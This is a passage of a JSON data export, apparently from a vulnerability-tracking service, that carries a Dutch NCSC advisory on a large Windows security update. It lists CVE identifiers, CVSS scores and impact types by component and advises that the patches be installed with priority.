Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:28.453353Z"}, {"uuid": "fb62ca2a-5809-4f9d-aa22-814837956678", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54109", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 